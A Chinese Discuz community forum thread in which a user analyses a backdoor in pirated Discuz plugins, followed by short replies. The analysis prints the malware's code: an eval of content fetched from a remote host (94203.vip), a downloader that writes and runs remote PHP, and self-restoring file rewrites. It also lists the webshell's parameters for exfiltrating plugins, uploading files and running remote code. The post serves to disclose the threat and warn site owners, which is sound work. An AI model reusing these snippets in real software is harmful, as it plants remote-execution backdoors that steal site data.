返回列表 发帖
查看: 1310|回复: 9

您认为你的网站还很安全吗?风靡全网的Discuz盗版插件后门木马你了解过吗?

37

主题

70

回帖

114

积分

渐入佳境

贡献
0 点
金币
2 个
发表于 2023-3-29 14:04:09 | 显示全部楼层 |阅读模式
在曝光这个后门木马之前,我们考虑了很久要不要曝光,这个后门我们去年就已经发现了,而且第一时间公布到群里面!在群里的用户可能很早都知道这个后门!
但是始终没有曝光在网站内!原因是从这个后门的复杂程度来看,此人不简单!我们不想惹!并不是我们怕!明着来我们不怕什么!
明枪易躲,暗箭难防!唯女子与小人为难养也!

正文开始:

这个后门样本是最早发现在飞*房产(后门和插件作者无关,正版的无此后门)  后来我们又在用户给我们提供的插件里面根据关键词 发现很多都带这个后门,
那么下面我们开始分析:本次样本为 克*APP 3.51(后门和插件作者无关,正版的无此后门),因为距离第一次发现太久,那个样本没有了!
首先我们是在一个模板文件发现了异常(如图)
0397924a0047a451.png
  1. eval(dfsockopen($commen))
复制代码

很明显的一句话后门。但是整个文件就这一行代码!没有一句话应有的参数!而 $commen 这个变量也并未在这个文件赋值, 全文件找了下发下在下面这个文件有 $commen  变量的赋值
function_comiis_load.php

1b6a64598a16b957.png
但是这个值经过了一系列“混淆”,我们一步步来拨开这个烟雾弹
  1. $title=dfsockopen($url);
复制代码

这里有个远程请求!那么我们把这个 $url 变量调试出来,先把代码搬过来

3707e98902e5a77e.png
调试得到 $url 的值为:
  1. ://94203.vip/20190305.png
复制代码

这里已经是个正常的链接了,我们获取这个文件的内容试试(也可以通过浏览器的下载功能直接下载这个图片,然后通过记事本打开)

9bd18e7e81629adf.png
  1. moqu8ctrlabcctrl://ctrl.ctrl/ctrl[A-Z_].*[A-Z_]ctrlecho "990";ctrl./config.phpctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xmlctrl`.*?`ctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xmlctrl./baiduin.phpctrltemplate/index.htmlctrlpic.png
复制代码

继续对这串不知道什么玩意的内容进行整理(直接搬后门的代码过来取值就是)

bdaf20248d156f57.png
得到内容
  1. http://94203.vip/baiduseofn.xmlCopy
复制代码

继续往下调试,发现紧跟的这几段是让代码看起来像一个正常代码,其实并无实际用途!都是一些赋值然后其实并不会调用,也许后面会用到先放这里不做分析
  1. list(,,, $tagid, $type,$page ) = func_get_args();
  2.     $rewriterules=$_G['cache']['plugin']['comiis_app'];
  3.         $identifier=substr($_GET['id'],0,strpos($_GET['id'], ':'))?substr($_GET['id'],0,strpos($_GET['id'], ':'));$_GET['id'];
  4.         $plugin['identifier']=$plugin['identifier']?$plugin['identifier'];$identifier;
复制代码

紧随其后的是,翻译出来看看是判断什么 然后调用了什么文件!

0ab47219c3c2de1f.png
因为 $tag 前面已经取了这个的值,我们直接调用,打印出内容看看

140ab06e711ceed1.png
得到一个数组

e994d5e52d9e0cf5.png
  1. Array
  2. (
  3.     [0] => moqu8
  4.     [1] => abc
  5.     [2] => ://
  6.     [3] => .
  7.     [4] => /
  8.     [5] => [A-Z_].*[A-Z_]
  9.     [6] => echo "990";
  10.     [7] => ./config.php
  11.     [8] => 6692
  12.     [9] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xml
  13.     [10] => `.*?`
  14.     [11] => 6692
  15.     [12] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xml
  16.     [13] => ./baiduin.php
  17.     [14] => template/index.html
  18.     [15] => pic.png
  19. )
复制代码

这样就很容易翻译那段代码的意思得到结果为:
  1. if(@filesize('./config.php') != '6692'){ @include_once DISCUZ_ROOT.'./source/plugin/comiis_app/'.'template/index.html';}
复制代码

这句话翻译成大白话的意思就是  如果 ./config.php 文件的大小 不等于 6692 字节  则引用 template/index.html 这个文件 注意到了吗? template/index.html 这个文件正式我们一开始发现端倪的文件
现在插件是第一次运行,./config.php文件是不存在的 所以大小肯定是不等于 6692 的,所以我们继续调试!来到 template/index.html 这个文件
  1. eval(dfsockopen($commen))
复制代码

这句代码意思是 先读取远程链接返回的内容,然后执行! $commen  这个变量的值我们前面已经知道了 就是下面的内容 (我们可以通过浏览器访问这个链接,然后右键查看源码,得到这个文件所返回的内容)
  1. http://94203.vip/baiduseofn.xml
复制代码

返回内容如下:
9ee413359bca435e.png
也就是说 即将执行的代码就是这段代码,复制下来 调试一波,顺便美化一下,方便阅读
  1. function content($svip)
  2. {
  3.     ini_set('max_execution_time', '0');
  4.     if (function_exists('file_get_contents')) {
  5.         $data = file_get_contents($svip);
  6.     } else {
  7.         $ch = curl_init();
  8.         $timeout = 5;
  9.         curl_setopt($ch, CURLOPT_URL, $svip);
  10.         curl_setopt($ch, CURLOPT_HEADER, 0);
  11.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  13.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  14.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  15.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  16.         $data = curl_exec($ch);
  17.         curl_close($ch);
  18.     }
  19.     return $data;
  20. }
  21. $svip = preg_replace(array("/" . $tag[10] . "/", "/" . $tag[1] . "/i", "/" . $tag[5] . "/"), array($tag[3], $tag[2], $tag[4]), $tag[12]);
  22. if (content($svip)) {
  23.     file_put_contents($tag[13], content($svip));
  24.     require_once $tag[13];
  25. }
复制代码

因为代码中依然用到了 $tag 变量,所以我们继续放之前的调试文件调试,我们先来 取  $svip 这个变量对应的值,得到一个链接
  1. http://94203.vip/baiduseoff.xml
复制代码

之前我们已经打印了 $tag 的内容  可以得到  $tag[13] 的内容就是 ./baiduin.php
继续放下调试 翻译出来的大白话意思就是 如果远程访问 上面的 的链接 返回的内容不是空的 则写入 返回的内容到文件 ../baiduin.php 并且马上引用这个文件
既然又要引用新文件,那么我们就得看看这个文件的内容了 (我们可以通过浏览器访问这个链接,然后右键查看源码,得到这个文件所返回的内容) 其实这里和前面一个步骤很像,
你也可以理解成是一层壳!得到一个比较大的文件了(如图),有种预感,马上要正式进入后门的领域了,前面一系列操作其实都是烟雾弹
961f8d5b135ff355.png
内容太长就不粘贴出来了 感兴趣的可以下载下面的附件(代码为了方便阅读,美化过,其实你也可以访问下面的链接得到这个文件样本)
游客,如果您要查看本帖隐藏内容请回复


其实这个文件是进行了简单加密的。我们给他解密!因为是比较简单的加密,而且我们这次的重点不是讲解加密与解密。下面直接上图解密,就不讲解了
得到解密后的文件

7bd46da1e4164d25.png

调试木马

我们调试这个文件,因为我不是 在dz环境调试的,但是这个文件用到了dz自带的几个函数 我们copy过来在调试

d2b3a2c27d43fbb1.png
调试前先把已知的数据讲解下

db96550fc970e407.png
如果文件./web.php 存在 就删除这个文件,前面的代码都是构造变量,在这句之前用不到

0cc6632aa55b986e.png
这里的 $identifier 是插件的 标识,代码因为是在插件里面运行的,所以这个变量是dz赋值的$plugin['identifier'],比如我们现在的样本是 comiis_app 那么这个值就是  'comiis_app' 继续调试

e73690994c944fa6.png
这里开始引用了上面的几个变量,我们把变量输出看看分别是什么

e2723697bf0a1639.png
得到这2个变量分别是
  1. ./config.php
  2. http://94203.vip/index.txt
复制代码

其实从这里开始感觉分析这个后门已经花了很长时间了,有点累,写的都比较随意了!可能大家都开始看不懂了,还是保持开始的状态继续写!分析起来其实很快,主要是要写,就慢了。 得到这2个变量的值,我们翻译下上面那段逻辑代码
  1. 如果 (文件./config.php不存在 且 远程请求http://94203.vip/index.txt的内容不是空) {

  2.     远程访问("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app";

  3.     写入文件(./config.php, 远程访问http://94203.vip/index.txt返回的内容);

  4. } 或者如果 (文件./config.php字节大小 不等于 6692 且 远程请求http://94203.vip/index.txt的内容不是空) {

  5.     写入文件(./config.php, 远程访问http://94203.vip/index.txt返回的内容);

  6. } 或者如果(文件"插件目录/log.txt"不存在 且  插件不是csdn123_news和csdn123com_toutiao) {

  7.     远程访问("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app";

  8.     写入文件(插件目录/log.txt, 空的内容);


  9. }
复制代码

不知道这样的代码结构 对于不懂PHP的 能不能看懂,懂PHP的直接看源代码就可以。继续调试下面的代码

b3a80e8bbd1c3071.png
首先输出这个变量 $deindex
得到 这个变量的值为 ./index.bak.php,我们继续用上面的方式翻译上面的这段逻辑代码
  1. 如果 (文件./index.bak.php存在) {
  2.     删除文件./index.bak.php;
  3. }
  4. 如果 (文件/source/function/function_ajax.php大小 不等于 14798) {
  5.    如果(远程访问链接http://q.94203.vip/function_cloudaddons.xml返回的不是空内容 ){
  6.         写到文件/source/function/function_ajax.php 内容是 远程访问链接http://q.94203.vip/function_cloudaddons.xml返回的内容
  7.     }
  8. }
  9. 删除文件./baiduin.php
复制代码

到这里已经开始了 系统文件替换了,其实到这里基本上就结束了,看着是不是好像没有什么大问题?只是替换了一个系统文件和写了一个./config.php文件?
先别急着关闭页面,因为下面才是重头戏!我们继续分析写入的这2个文件 从 ./config.php 开始,这个文件写入的是 http://94203.vip/index.txt 返回的内容 我们用浏览器打开 得到文件代码如图

9c08bc57176f8b66.png
去掉 用于混淆 让人觉得是正常文件的内容 得到代码

9b5debcb87ddd553.png
为什么那一段是没用的?因为如果正常访问 其实这就是dz自带的 index.php文件复制过来的 后门控制者访问时如果在链接后面加了 ?s=1 就会执行图片上的代码
翻译出来的意思就是
  1. 执行代码(  远程请求 {域名}/baiduindex.xml 返回的内容 )
复制代码

这里的域名 是通过GET参数获取,也就是说 如果控制住域名忘记续费 根本没有关系 比如 作者 通过这样的形式访问 你的域名/config.php?s=1&domain=94203.vip 就可以 那么/baiduindex.xml的内容是什么,因为是控制者在控制你网站时输入的,所以从代码上得不到这个文件!但是我们可以靠猜来试试,果然一猜就中,他用于木马的域名就文中提到的1个。试了一下 就出来了
  1. 94203.vip/baiduindex.xml
复制代码

得到内容(加密了,那就解密看看这个是个什么文件吧)

203c83a3a0b49640.png
经过N层解密,得到文件

9fed05a296d887ba.png
这里已经有获取你网站安装的插件操作的代码的了!这个后门文件还有很多参数!等下我们继续分析! 解密后的样本和原版 在下面的附件 有兴趣的可以研究下
游客,如果您要查看本帖隐藏内容请回复


下面继续分析,这个木马文件的所有参数(其实也累了,就不调试了,直接丢dz环境跑起来,然后把代码有的参数一个个输进去试) 忽然发现 404,原来作者还加了 指定浏览器功能,也就是说只有这个UA的浏览器才能访问,我们删除这段

cdfda1658c364324.png
木马参数

参数1、  你的域名/config.php?s=1&domain=94203.vip&b=header&z=压缩包名字 打包你网站 ./source/plugin  目录  即打包插件目录,然后下载,代码见下面

8062b0901c6d0c94.png
参数2、  你的域名/config.php?s=2&domain=94203.vip 开头涉及到一个插件 aljjyno 不知道干嘛用的,但是只知道有写入文件的功能!也是远程请求,但是这次我们通过前面方法猜域名,没有猜出来!

3b451fe58b21605b.png
紧随的是 替换/config/config_global.php 网站配置文件(给你开启开发者模式,这样你安装插件就不会自动删除安装包!不然作者每次打包走的都是没有xml的插件估计也很难受) 接着就是巩固一下后门

563e6f4dc2581982.png
上面的代码前面讲过 就是判断 ./config.php的大小是不是 6692 如果不是就重新生成,防止木马被你清理或修改 然后 又巩固了一下 /source/function/function_ajax.php 的地位 这个文件前面提到了,但是还没有分析!等分析玩这个文件,我们继续分析这个 在往下 就是 获取你安装了的插件,然后列出列表吧?如果弄了打包的参数 就开始打包下载
参数3、  你的域名/config.php?s=3&domain=94203.vip后面还要参数 不是很重要 这个就是 下载压缩包用的,没什么可以讲解
参数4、  你的域名/config.php?s=4&domain=94203.vip 上传文件到你网站任意位置的好像。

e556f592143cdbc6.png
参数5、  你的域名/config.php?s=5&domain=94203.vip&do=1 作用:写入文件

f1c617fbfd4ad36e.png
如果带do参数 则写入94203.vip/data.xml 的内容 浏览器访问这个链接 得到的内容 是一个典型的PHP木马。打包网站用的,导出数据库啥的 如果没有带do参数 则写入94203.vip/datatwo.xml 的内容 浏览器访问这个链接 得到的内容 是一个文件在线管理功能。 2个样本在下面压缩包,感兴趣的可以下载看看
游客,如果您要查看本帖隐藏内容请回复

参数6、  你的域名/config.php?s=6&domain=94203.vip 作用:执行远程文件 94203.vip/ondata.xml

edcc5616d697bb58.png
其实和 参数5的带do参数功能一样,可能是防止你服务器不能写入文件时  直接用php执行用的。应该算是备用功能,感兴趣的可以下载下面的附件研究
游客,如果您要查看本帖隐藏内容请回复

参数7、  你的域名/config.php?s=7&domain=94203.vip 作用:下载你网站非压缩包文件(如直接下载PHP文件)

f16cc6c3ffbae980.png
参数8、  你的域名/config.php?s=8&domain=94203.vip 作用:执行远程代码  94203.vip/tiquxml.xml
远程链接返回内容如下
  1. @set_time_limit(0);
  2. @include_once './config/config_global.php';
复制代码

1f8518c50ec6ecf9.png
从注释看好像是提取XML的  到这里 这个文件的功能基本上分析完毕。你以为就这样?

结尾

以上涉及到的代码全部是远程执行,
代码后门作者可以随时更改/更新/升级、等于是给你网站的后门免费提供了免费更新的功能 如果他给你来个全盘格式化的远程代码,你懵逼吗?
如果他给你来个清空数据库的代码 你懵逼吗?
分析到这里,我们回到前面提到的 /source/function/function_ajax.php文件 打开远程获取到的代码 分析一波,已经不记得前面有没有把这个文件的代码贴出来了!
如果没有,感兴趣的同学就自己获取一下!  因为这个文件是基于dz的系统文件修改的(注入),我们对比文件删除dz原版代码 得到如下代码
40a044bb6fcf1a93.png
也就是说上面的代码是后门作者加进去的  其实这个文件也没啥好分析的,
大概就是:这个文件因为dz需要经常调用,调用频率非常的高  只要这个文件一被调用  就自动从远程获取内容94203.vip/index.xml 生成到文件/config.php  这个文件的代码前面分析过。
大概想实现的目的就是防删!如果你删了,又会出来。就是你怎么删也删不掉/config.php这个文件,我给他定义为 “不死鸟”  基本上整个后门到这里就算分析完毕了!
其实目前来讲这套木马想查杀的话 有一套关键词可以进行匹配!
但是我们这次目的是分析木马!查杀的任务,还是得靠站长自己。
我们只能说这种木马在全网传播的很普遍!
从各个资源站到某宝等 都有这个木马的影子!

回复

使用道具 举报

头像被屏蔽

37

主题

70

回帖

114

积分

渐入佳境

贡献
0 点
金币
2 个
 楼主| 发表于 2023-3-29 14:05:07 | 显示全部楼层
提示: 该帖被管理员或版主屏蔽
回复 支持 反对

使用道具 举报

3

主题

675

回帖

24万

积分

管理员

官方有偿服务QQ 1453650

贡献
119 点
金币
240000 个
QQ
发表于 2023-3-29 14:25:54 | 显示全部楼层
某趣吧盗版插件含后门,这是众所周知的,你回帖贴的链接的网站也不是好鸟,一样的,会盗取你网站的应用
回复 支持 反对

使用道具 举报

头像被屏蔽

0

主题

110

回帖

115

积分

禁止发言

贡献
0 点
金币
5 个
发表于 2023-3-29 23:31:55 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复 支持 反对

使用道具 举报

40

主题

764

回帖

936

积分

自成一派

贡献
11 点
金币
33 个
发表于 2023-3-31 08:22:36 | 显示全部楼层
虽然不懂但我大为震撼
回复 支持 反对

使用道具 举报

TaC

80

主题

489

回帖

619

积分

自成一派

贡献
5 点
金币
11 个
发表于 2023-3-31 10:30:54 | 显示全部楼层
虽没看懂,感觉好历害。现在已没有几个人能有这种耐心写这么东西了
回复 支持 反对

使用道具 举报

4

主题

62

回帖

77

积分

渐入佳境

贡献
0 点
金币
9 个
发表于 2023-4-1 12:16:39 | 显示全部楼层
我曾经遇到过,他还加我Q,要钱钱,我拉黑后,直接就把我的数据盘格了
4K电影下载 www.4ktt.com
魔爪论坛 www.91mz.cc
回复 支持 反对

使用道具 举报

6

主题

368

回帖

484

积分

应用开发者

贡献
16 点
金币
13 个
QQ
发表于 2023-4-1 17:11:27 | 显示全部楼层
楼主功力深厚,佩服佩服
Thinkphp、Discuz开发、PHP环境搭建以及解决网站各种疑难杂症。联系QQ:502251257
回复 支持 反对

使用道具 举报

6

主题

368

回帖

484

积分

应用开发者

贡献
16 点
金币
13 个
QQ
发表于 2023-4-1 17:12:05 | 显示全部楼层
gulaibai 发表于 2023-4-1 12:16
我曾经遇到过,他还加我Q,要钱钱,我拉黑后,直接就把我的数据盘格了 ...

把那个人的QQ暴出来,让大家都防着他点。
Thinkphp、Discuz开发、PHP环境搭建以及解决网站各种疑难杂症。联系QQ:502251257
回复 支持 反对

使用道具 举报

60

主题

94

回帖

166

积分

渐入佳境

贡献
0 点
金币
5 个
发表于 2023-4-1 17:41:23 | 显示全部楼层
虽没看懂,感觉好震撼,那有没有大佬写个插件出来让大伙查杀下,或许有些站长的站存在这个木马后门也说不定。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

  • 关注公众号
  • 有偿服务微信
  • 有偿服务QQ

手机版|小黑屋|Discuz! 官方交流社区 ( 皖ICP备16010102号 |皖公网安备34010302002376号 )|网站地图|star

GMT+8, 2024-5-18 22:50 , Processed in 0.051727 second(s), 8 queries , Redis On.

Powered by Discuz! W1.0 Licensed

Cpoyright © 2001-2024 Discuz! Team.

关灯 在本版发帖
有偿服务QQ
有偿服务微信
返回顶部
快速回复 返回顶部 返回列表